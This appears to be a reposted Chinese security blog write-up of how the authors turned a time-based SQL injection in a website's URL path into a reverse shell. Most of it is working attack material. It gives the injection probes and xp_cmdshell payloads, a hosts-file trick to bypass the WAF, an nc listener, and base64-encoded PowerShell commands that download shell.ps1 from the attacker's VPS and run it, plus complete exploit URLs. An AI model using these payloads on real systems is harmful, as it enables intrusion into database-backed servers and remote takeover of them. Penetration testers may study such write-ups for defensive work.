将基于时间的SQL注入升级为RCE

admin 2024年5月25日00:38:04评论4 views字数 4396阅读14分39秒阅读模式

将基于时间的SQL注入升级为RCE

0x00 概括

不久前,我和我的朋友@Rakai、@Ardya Suryadinata、@hernowoadin偶然发现了一个有趣的漏洞并进行讨论,即网站URL路径上的SQL注入,我们称之为redacted.com

我们尝试升级此SQL注入以获得反向shell,利用xp_cmdshell.有一些障碍,例如我们无法在执行的命令中输入斜杠“/”。然而,biidznillah,我们通过执行PowerShell编码的命令获得了shell。

0x01 Burpsuite扫描结果

这一切都始于Burpsuite扫描的结果,该扫描在 /download/123/123 上显示SQL注入警报。它与通常的SQL注入不同,因为此SQLi注入位于设计用于下载文档的URL路径内。

将基于时间的SQL注入升级为RCE

在问题详细信息中,Burpsuite使用了以下基于时间的SQL注入payload,应用程序响应时间为20074毫秒(20 秒),与仅花费2327毫秒(2 秒)的原始请求显着不同,这强烈表明Web容易受到基于时间的SQL注入的攻击。

waitfor delay'0:0:20' ---> Respons : 20073 milisecond (20 second)original request ---> 2327 milisecond (2 second)

0x02 SQLMap(由于WAF而无法工作)

接下来,为了加快证明过程,我们开始尝试使用SQLMap来利用它,但没有成功,即使只是检索数据库名称。迹象表明该网站已受到Web应用程序防火墙 (WAF) 的保护。
将基于时间的SQL注入升级为RCE
与此同时,也因为我们想要尝试尝试绕过其WAF之外的替代方案,所以我们决定手动尝试多个payloads有效负载。

0x03 使用XP_CMDSHELL

由于目标使用Microsoft SQL Server,我们尝试使用xp_cmdshell执行命令。

xp_cmdshell -> 生成一个 Windows 命令 shell 并传入一个字符串以供执行。任何输出都以文本行的形式返回。 (来源:learn.microsoft.com)

xp_cmdshell是Microsoft SQL Server中的一个命令,用于在服务器上执行命令。默认情况下,此功能处于禁用状态

为了确保xp_cmdshell已启用并且可以在目标上执行命令,我们尝试对虚拟专用服务器(VPS)的IP(165.1.2.123)执行ping命令。
Payload:EXEC xp_cmdshell 'ping 165.1.2.123';--Injection URL :https://redacted.com/download/123/123 EXEC xp_cmdshell 'ping%20165.1.2.123';--URL Decoded :https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'ping%20165.1.2.123'%3b--
在我们的VPS上,我们使用tcpdump转储网络数据包来检测eth0接口上的任何传入Ping 请求 (ICMP)。
tcpdump -i eth0 -icmp
将基于时间的SQL注入升级为RCE
是的!xp_cmdshell成功在目标上执行ping命令。根据上面的tcpdump结果,我们还获得了目标redacted.com的真实IP地址,即152.xxx.xxx.xxx

0x04 使用真实IP绕过WAF

事先,SQLMap检测到目标网站前面可能存在WAF。我们通过 ping redacted.com 确认了这一点,发现ping被重定向到前缀为WAF -> waf123.redacted.com的子域
将基于时间的SQL注入升级为RCE
因此,为了绕过该WAF,我们可以通过编辑笔记本电脑上的hosts文件将redacted.com域直接定向到其原始IP地址152.xxx.xxx.xxx。 

在Windows上,它通常位于

C:/Windows/System32/drivers/etc/hosts
将基于时间的SQL注入升级为RCE
然后我们再次尝试ping,以确保redacted.com可以绕过WAF,直接通过其原始IP地址进行访问。从那时起,到redacted.com的连接将直接定向到IP 152.xxx.xxx.xxx。
将基于时间的SQL注入升级为RCE

0x05 传递shell.ps1时的障碍

下一步,我们尝试利用此SQL注入来获取反向shell。首先,我们准备了一个PowerShell文件(.ps1),它将执行命令来建立与侦听器(反向 shell)的连接。 

我们使用从powershell-reverse-shell.ps1获得的shell.ps1,如下所示:

https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1
将侦听器IP和端口更改为VPS IP地址165.1.2.123上的4447。然后我们在VPS Web服务器上托管此shell.ps1。
将基于时间的SQL注入升级为RCE
让我们在端口4447上设置侦听器。
nc -nlvp 4447
接下来,我们需要在目标上运行命令来下载shell.ps1文件,然后执行它。因此,我们在xp_cmdshell上运行以下命令:
powershell.exe -c iwr -Uri "http://165.1.2.123/shell.ps1"
然而,我们遇到的障碍是注入位置在URL内,因此我们无法在xp_cmdshell执行的命令中输入斜杠/。每个斜杠/都会被检测为路径的一部分。因此,注射失败。编码形式的斜杠也是如此,例如 %2F

在这个问题上苦苦挣扎了一段时间但仍未找到成功的解决方案后,我们尝试了多种方法。例如,我们尝试将shell.ps1作为VPS Web服务器上的索引,因此我们不需要斜杠 (/) 来下载它。但是,这种方法失败了,因为将其保存在服务器上的可写位置仍然需要斜杠(在 C:/Windows/TEMP/ 中)。我们还尝试了各种其他方法。

最终,在休息了一段时间后,Biidznillah,我想起了在准备OSCP考试的实验室练习中学到的东西。是的,我们可以以编码形式执行PowerShell命令。

0x06 Powershell编码命令

我们可以使用 powershell -e 选项以编码形式在PowerShell中运行命令。Powershell编码器可以通过以下链接访问:

https://raw.githubusercontent.com/Javelinblog/PowerShell-Encoded-Commands-Tool/main/PowerShell.html
我们最初尝试运行的命令如下,但没有成功。
## Execute a remote script"IEX(New-Object System.Net.WebClient).DownloadString('http://165.1.2.123/shell.ps1')
上面的命令用于远程访问字符串,然后PowerShell将直接执行它。我们多次成功地与目标建立了shell连接,但几乎所有连接都不稳定,因为它们仍然依赖于Web服务器中的会话(因为注入是通过URL进行的),从而导致“504 Gateway Timeout”错误,并且shell已断开连接,根本无法在服务器上执行任何命令。
将基于时间的SQL注入升级为RCE

因此,我们将命令分为两部分:

  • 1.下载shell.ps1并将其保存到可写路径,在Windows上为 C:/Windows/TEMP/
  • 2.执行命令运行shell.ps1

所以,我们执行的最终Payload如下:

##Download shell and saved to TEMPiwr -Uri "http://165.1.2.123/shell.ps1" -OutFile "$env:TEMPshell.ps1"; ## Execute the shelliex "$env:TEMPshell.ps1"
第一部分:
  • iwr:这是PowerShell中Invoke-WebRequest cmdlet的简写别名。它用于向Web服务器发送HTTP和HTTPS请求并下载内容。
  • -Uri “http://165.1.2.123/shell.ps1”:指定要下载的资源的统一资源标识符 (URI)。在本例中,它是位于指定URL的PowerShell脚本。
  • -OutFile “$env:TEMPshell.ps1”:指定下载内容的保存路径。
  • $envTEMP是Windows中的一个环境变量,指向当前用户的临时目录。下载的脚本将以文件名shell.ps1保存在该目录中。
第二部分:
  • iex这是PowerShell中Invoke-Expression cmdlet的简写别名。它用于运行存储在变量或字符串中的PowerShell命令或脚本。

  • “$env:TEMPshell.ps1”这引用了存储在临时目录($env:TEMP)中的先前下载的PowerShell脚本的路径。它指定脚本文件shell.ps1的位置。

然后我们使用PowerShell EncodedCommand工具对命令进行编码。

将基于时间的SQL注入升级为RCE
因此,命令变为:
# Download shellEXEC xp_cmdshell 'powershell -e aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANgA1AC4AMQAuADIALgAxADIAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA7AA==';--# Execute shell EXEC xp_cmdshell 'powershell -e aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA=';--
在执行下载的shell之前设置监听器
将基于时间的SQL注入升级为RCE
然后运行注入Payload来执行下载的shell.ps1,带有注入命令的完整URL如下所示:
https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'powershell.exe%20-e%20aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA='%3b--
Shell 来了!
将基于时间的SQL注入升级为RCE

文章来源:潇湘信安

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):将基于时间的SQL注入升级为RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月25日00:38:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   将基于时间的SQL注入升级为RCEhttp://cn-sec.com/archives/2769073.html

发表评论

匿名网友 填写信息